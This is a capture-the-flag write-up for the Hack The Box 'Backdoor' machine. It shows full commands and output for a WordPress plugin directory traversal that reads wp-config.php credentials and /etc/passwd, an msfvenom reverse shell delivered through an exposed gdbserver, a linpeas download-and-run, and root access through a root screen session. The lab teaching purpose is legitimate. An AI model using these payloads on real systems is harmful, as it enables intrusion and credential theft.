---
search:
  exclude: true
---
# Backdoor Writeup

![](img/69.png)

## Introduction :

Backdoor is an easy Linux box released back in November 2021.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → sudo vim /etc/hosts
    [sudo] password for nothing:
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → nmap -sCV backdoor.htb
    Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-20 20:11 UTC
    Nmap scan report for backdoor.htb (10.129.96.68)
    Host is up (0.068s latency).
    Not shown: 998 closed tcp ports (conn-refused)
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
    |   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
    |_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Backdoor - Real-Life
    |_http-generator: WordPress 5.8.1
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 so let's investigate it: 
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://backdoor.htb
    ===============================================================
    Gobuster v3.3
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://backdoor.htb
    [+] Method:                  GET
    [+] Threads:                 50
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.3
    [+] Timeout:                 10s
    ===============================================================
    2022/11/20 20:12:34 Starting gobuster in directory enumeration mode
    ===============================================================
    /wp-content           (Status: 301) [Size: 317] [--> http://backdoor.htb/wp-content/]
    /wp-includes          (Status: 301) [Size: 318] [--> http://backdoor.htb/wp-includes/]
    /wp-admin             (Status: 301) [Size: 315] [--> http://backdoor.htb/wp-admin/]
    Progress: 50259 / 220561 (22.79%)^C
    [!] Keyboard interrupt detected, terminating.
    ===============================================================
    2022/11/20 20:13:26 Finished
    ===============================================================
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -u http://backdoor.htb/wp-content/
    ===============================================================
    Gobuster v3.3
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://backdoor.htb/wp-content/
    [+] Method:                  GET
    [+] Threads:                 50
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.3
    [+] Timeout:                 10s
    ===============================================================
    2022/11/20 20:13:30 Starting gobuster in directory enumeration mode
    ===============================================================
    /themes               (Status: 301) [Size: 324] [--> http://backdoor.htb/wp-content/themes/]
    /uploads              (Status: 301) [Size: 325] [--> http://backdoor.htb/wp-content/uploads/]
    /plugins              (Status: 301) [Size: 325] [--> http://backdoor.htb/wp-content/plugins/]
    /upgrade              (Status: 301) [Size: 325] [--> http://backdoor.htb/wp-content/upgrade/]
    Progress: 3928 / 220561 (1.78%)^C
    [!] Keyboard interrupt detected, terminating.
    ===============================================================
    2022/11/20 20:13:33 Finished
    ===============================================================
    
    

` ![](prg/69_001.png)

So thanks to Gobuster we found the /wp-content/plugins/ebook-download/ subdirectory:

![](prg/69_002.png)
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → searchsploit ebook plugin
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
     Exploit Title                                                                                                                                                   |  Path
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
    Facebook Profile MyBB Plugin 2.4 - Persistent Cross-Site Scripting                                                                                               | php/webapps/23355.txt
    WordPress Plugin eBook Download 1.1 - Directory Traversal                                                                                                        | php/webapps/39575.txt
    WordPress Plugin Facebook Opengraph Meta 1.0 - SQL Injection                                                                                                     | php/webapps/17773.txt
    WordPress Plugin Facebook Promotions 1.3.3 - SQL Injection                                                                                                       | php/webapps/17737.txt
    WordPress Plugin Facebook Survey 1.0 - SQL Injection                                                                                                             | php/webapps/22853.txt
    WordPress Plugin flash-album-gallery - 'facebook.php' Cross-Site Scripting                                                                                       | php/webapps/36383.txt
    WordPress Plugin Nextend Facebook Connect 1.4.59 - Cross-Site Scripting                                                                                          | php/webapps/35439.txt
    WordPress Plugin Spider Facebook - 'facebook.php' SQL Injection                                                                                                  | php/webapps/39300.txt
    ----------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
    Shellcodes: No Results
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → cat $(locate 39575.txt)
    # Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
    # Exploit Author: Wadeek
    # Website Author: https://github.com/Wad-Deek
    # Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
    # Version: 1.1
    # Tested on: Xampp on Windows7
    
    [Version Disclosure]
    ======================================
    http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
    ======================================
    
    [PoC]
    ======================================
    /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
    ======================================%
    
    

Apparently there is a Directory traversal vulnerability, so let's test it out:
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → wget http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=../../../wp-config.php -O wp-config.php
    --2022-11-20 20:35:12--  http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
    Resolving backdoor.htb (backdoor.htb)... 10.129.96.68
    Connecting to backdoor.htb (backdoor.htb)|10.129.96.68|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 3866 (3.8K) [application/octet-stream]
    Saving to: ‘wp-config.php’
    
    wp-config.php                                    100%[=========================================================================================================>]   3.78K  --.-KB/s    in 0.03s
    
    2022-11-20 20:35:12 (126 KB/s) - ‘wp-config.php’ saved [3866/3866]
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → cat wp-config.php
    ../../../wp-config.php../../../wp-config.php../../../wp-config.php<****?php
    /**
     * The base configuration for WordPress
     *
     * The wp-config.php creation script uses this file during the installation.
     * You don't have to use the web site, you can copy this file to "wp-config.php"
     * and fill in the values.
     *
     * This file contains the following configurations:
     *
     * * MySQL settings
     * * Secret keys
     * * Database table prefix
     * * ABSPATH
     *
     * @link https://wordpress.org/support/article/editing-wp-config-php/
     *
     * @package WordPress
     */
    
    // ** MySQL settings - You can get this info from your web host ** //
    /** The name of the database for WordPress */
    define( 'DB_NAME', 'wordpress' );
    
    /** MySQL database username */
    define( 'DB_USER', 'wordpressuser' );
    
    /** MySQL database password */
    define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
    
    [...]
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=../../../../../../etc/passwd
    ../../../../../../etc/passwd../../../../../../etc/passwd../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:110:1::/var/cache/pollinate:/bin/false
    usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
    sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    user:x:1000:1000:user:/home/user:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false

So here we have credentials: **wordpressuser:MQYBJSaD#DxG6qbm** and we also have the list of users with the passwd file. 
    
    
    [ 10.10.16.14/23 ] [ nowhere ] [~/HTB/Backdoor]
    → for i in `seq 620 1000`; do curl  --output - http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php\?ebookdownloadurl\=/proc/$i/cmdline ; echo ; done
    
    

Let it run, and eventually you'll find the gdbserver process running on port 1337:
    
    
    [ 10.10.14.37/23 ] [ /dev/pts/13 ] [~]
    → nmap -sCV backdoor.htb -p1337
    Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 09:41 CET
    Nmap scan report for backdoor.htb (10.129.96.68)
    Host is up (0.094s latency).
    
    PORT     STATE SERVICE VERSION
    1337/tcp open  waste?
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 107.13 seconds
    
    

So to exploit gdbserver, we follow this page on [hacktricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver):
    
    
    [ 10.10.14.37/23 ] [ /dev/pts/13 ] [~]
    →  msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.37 LPORT=8001 PrependFork=true -f elf -o rev.elf
    [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
    [-] No arch selected, selecting arch: x64 from the payload
    No encoder specified, outputting raw payload
    Payload size: 106 bytes
    Final size of elf file: 226 bytes
    Saved as: rev.elf
    
    

Then locally, we debug it:
    
    
    [term1]
    [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~]
    → nc -lvnp 8001
    listening on [any] 8001 ...
    
    [term2]
    [ 10.10.14.37/23 ] [ /dev/pts/13 ] [~]
    → gdb -q rev.elf
    Reading symbols from rev.elf...
    (No debugging symbols found in rev.elf)
    (gdb) target extended-remote 10.129.96.68
    10.129.96.68: No such file or directory.
    (gdb) **target extended-remote 10.129.96.68:1337**
    Remote debugging using 10.129.96.68:1337
    Reading /lib64/ld-linux-x86-64.so.2 from remote target...
    warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
    Reading /lib64/ld-linux-x86-64.so.2 from remote target...
    Reading symbols from target:/lib64/ld-linux-x86-64.so.2...
    Reading /usr/lib/debug/.build-id/53/74b5558386b815e69cc1838a6052cc9b4746f3.debug from remote target...
    Reading /lib64/ld-2.31.so from remote target...
    Reading /lib64/.debug/ld-2.31.so from remote target...
    Reading /usr/lib/debug//lib64/ld-2.31.so from remote target...
    Reading /usr/lib/debug/lib64//ld-2.31.so from remote target...
    Reading target:/usr/lib/debug/lib64//ld-2.31.so from remote target...
    (No debugging symbols found in target:/lib64/ld-linux-x86-64.so.2)
    Reading /usr/lib/debug/.build-id/42/86d016f71e32db3a4f7221c847c3d1e13d6bd4.debug from remote target...
    0x00007ffff7fd0100 in ?? () from target:/lib64/ld-linux-x86-64.so.2
    
    (gdb) **remote put rev.elf /dev/shm/nihilist**
    Successfully sent file "rev.elf".
    
    (gdb) **run**
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program:
    Reading /dev/shm/nihilist from remote target...
    Reading /dev/shm/nihilist from remote target...
    Reading symbols from target:/dev/shm/nihilist...
    (No debugging symbols found in target:/dev/shm/nihilist)
    Reading /usr/lib/debug/.build-id/42/86d016f71e32db3a4f7221c847c3d1e13d6bd4.debug from remote target...
    [Detaching after fork from child process 7213]
    [Inferior 1 (process 7204) exited normally]
    (gdb)
    
    [term1]
    [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~]
    → nc -lvnp 8001
    listening on [any] 8001 ...
    connect to [10.10.14.37] from (UNKNOWN) [10.129.96.68] 49544
    id
    uid=1000(user) gid=1000(user) groups=1000(user)
    
    

And we got the reverse shell! Now let's upgrade it to a fully interactive TTY: 
    
    
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    user@Backdoor:/home/user$ ^Z
    [1]  + 216968 suspended  nc -lvnp 8001
    
    [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~]
    → stty raw -echo ; fg
    [1]  + 216968 continued  nc -lvnp 8001
                                          export TERM=screen-256color
    user@Backdoor:/home/user$ export SHELL=bash
    user@Backdoor:/home/user$ stty rows 50 cols 200
    user@Backdoor:/home/user$ reset
    
    

Now that we have a fully interactive reverse shell, let's print the user flag:
    
    
    user@Backdoor:/home/user$ cat user.txt
    3fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And we have the user flag!

## **Part 3 : Getting Root Access**

Now in order to enumerate privesc paths, we run linpeas.sh :
    
    
    [term1]
    [ 10.10.14.37/23 ] [ /dev/pts/15 ] [~/HTB/Backdoor]
    → ls
    linpeas.sh
    
    [ 10.10.14.37/23 ] [ /dev/pts/15 ] [~/HTB/Backdoor]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [term2]
    user@Backdoor:/home/user$ wget http://10.10.14.37:9090/linpeas.sh -O /tmp/peas.sh
    --2022-11-30 10:11:59--  http://10.10.14.37:9090/linpeas.sh
    Connecting to 10.10.14.37:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 827827 (808K) [text/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh        100%[===================>] 808.42K   266KB/s    in 3.0s
    
    2022-11-30 10:12:03 (266 KB/s) - ‘/tmp/peas.sh’ saved [827827/827827]
    
    user@Backdoor:/home/user$ chmod +x /tmp/peas.sh
    user@Backdoor:/home/user$ /tmp/peas.sh
    
    
    

Let it run, then in the output we see more info regarding gdbserver, but we can also see it with the ps command:
    
    
    user@Backdoor:/home/user$ ps auxww | grep gdb
    root         945  0.0  0.0   2608  1796 ?        Ss   08:39   0:00 /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
    root       14328  0.0  0.1   8404  3880 ?        S    10:06   0:00 su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
    user       14332  0.0  0.1   6892  3316 ?        Ss   10:06   0:00 bash -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
    user       14336  0.0  0.2  11844  4160 ?        S    10:06   0:00 gdbserver --once 0.0.0.0:1337 /bin/true
    user       31115  0.0  0.0   6632   732 pts/2    S+   10:16   0:00 grep --color=auto gdb
    
    user@Backdoor:/home/user$ ps auxww | grep true
    root         945  0.0  0.0   2608  1796 ?        Ss   08:39   0:00 /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
    root         950  0.0  0.0   2608  1544 ?        Ss   08:39   0:02 /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
    root       14328  0.0  0.1   8404  3880 ?        S    10:06   0:00 su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
    user       14332  0.0  0.1   6892  3316 ?        Ss   10:06   0:00 bash -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
    user       14336  0.0  0.2  11844  4160 ?        S    10:06   0:00 gdbserver --once 0.0.0.0:1337 /bin/true
    user       31338  0.0  0.0   6632   732 pts/2    S+   10:17   0:00 grep --color=auto true
    
    

When looking at the processes, we see that there is also a script running **screen** as the root user, so let's enumerate it:
    
    
    user@Backdoor:/home/user$  screen -ls
    No Sockets found in /run/screen/S-user.
    
    user@Backdoor:/home/user$  screen -ls root/
    There is a suitable screen on:
            995.root        (11/30/22 08:39:42)     (Multi, detached)
    1 Socket in /run/screen/S-root.
    
    

Here we see the root user is running screen on the socket /root/screen/S-root, so we connect to it: 
    
    
    user@Backdoor:/home/user$ screen -x root/995
    root@Backdoor:~# id
    uid=0(root) gid=0(root) groups=0(root)
    root@Backdoor:~# cat root.txt
    2dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

## **Conclusion**

Here we can see the progress graph :

![](img/69_graph.png)

